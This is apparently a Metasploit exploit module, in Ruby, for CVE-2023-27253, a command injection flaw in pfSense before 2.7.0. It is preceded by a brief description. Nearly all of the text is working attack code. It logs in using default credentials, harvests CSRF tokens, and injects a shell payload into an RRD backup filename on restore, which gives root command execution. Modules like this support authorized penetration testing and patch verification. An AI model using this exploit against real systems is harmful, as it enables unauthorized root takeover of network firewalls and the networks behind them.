Headline
pfSense Restore RRD Data Command Injection
This Metasploit module exploits an authenticated command injection vulnerability in the "restore_rrddata()" function of pfSense prior to version 2.7.0 which allows an authenticated attacker with the “WebCfg - Diagnostics: Backup and Restore” privilege to execute arbitrary operating system commands as the “root” user. This module has been tested successfully on version 2.6.0-RELEASE.
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'pfSense Restore RRD Data Command Injection', 'Description' => %q{ This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore" privilege to execute arbitrary operating system commands as the "root" user. This module has been tested successfully on version 2.6.0-RELEASE. }, 'License' => MSF_LICENSE, 'Author' => [ 'Emir Polat', # vulnerability discovery & metasploit module ], 'References' => [ ['CVE', '2023-27253'], ['URL', 'https://redmine.pfsense.org/issues/13935'], ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94'] ], 'DisclosureDate' => '2023-03-18', 'Platform' => ['unix'], 'Arch' => [ ARCH_CMD ], 'Privileged' => true, 'Targets' => [ [ 'Automatic Target', {}] ], 'Payload' => { 'BadChars' => "\x2F\x27", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat' } }, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']) ] end def check unless login return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!") end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), 'method' => 'GET', 'keep_cookies' => true ) return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 unless res&.body&.include?('Diagnostics: ') return Exploit::CheckCode::Safe('Vulnerable module not reachable') end version = detect_version unless version return Exploit::CheckCode::Detected('Unable to get the pfSense version') end unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE') return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected") end Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!") end def login # Skip the login process if we are already logged in. return true if @logged_in csrf = get_csrf('index.php', 'GET') unless csrf print_error('Could not get the expected CSRF token for index.php when attempting login!') return false end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'vars_post' => { '__csrf_magic' => csrf, 'usernamefld' => datastore['USERNAME'], 'passwordfld' => datastore['PASSWORD'], 'login' => '' }, 'keep_cookies' => true ) if res && res.code == 302 @logged_in = true true else false end end def detect_version res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'keep_cookies' => true ) # If the response isn't a 200 ok response or is an empty response, just return nil. unless res && res.code == 200 && res.body return nil end if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil? nil else version end end def get_csrf(uri, methods) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, uri), 'method' => methods, 'keep_cookies' => true ) unless res && res.body return nil # If no response was returned or an empty response was returned, then return nil. end # Try regex match the response body and save the match into a variable named csrf. if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil? return nil # No match could be found, so the variable csrf won't be defined. else return csrf end end def drop_config csrf = get_csrf('diag_backup.php', 'GET') unless csrf fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!') end post_data = Rex::MIME::Message.new post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"') post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"') post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"') post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"') post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"') post_data.add_part('', nil, nil, 'form-data; name="restorearea"') post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"') post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s, 'keep_cookies' => true ) if res && res.code == 200 && res.body =~ /<rrddatafile>/ return res.body else return nil end end def exploit unless login fail_with(Failure::NoAccess, 'Could not obtain the login cookies!') end csrf = get_csrf('diag_backup.php', 'GET') unless csrf fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!') end config_data = drop_config if config_data.nil? fail_with(Failure::UnexpectedReply, 'The drop config response was empty!') end if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil? fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!') end config_data.gsub!(' ', '${IFS}') send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};") post_data = Rex::MIME::Message.new post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"') post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"') post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"') post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"') post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"') post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"') post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"') post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"") post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"') post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s, 'keep_cookies' => true ) if res print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.") end endend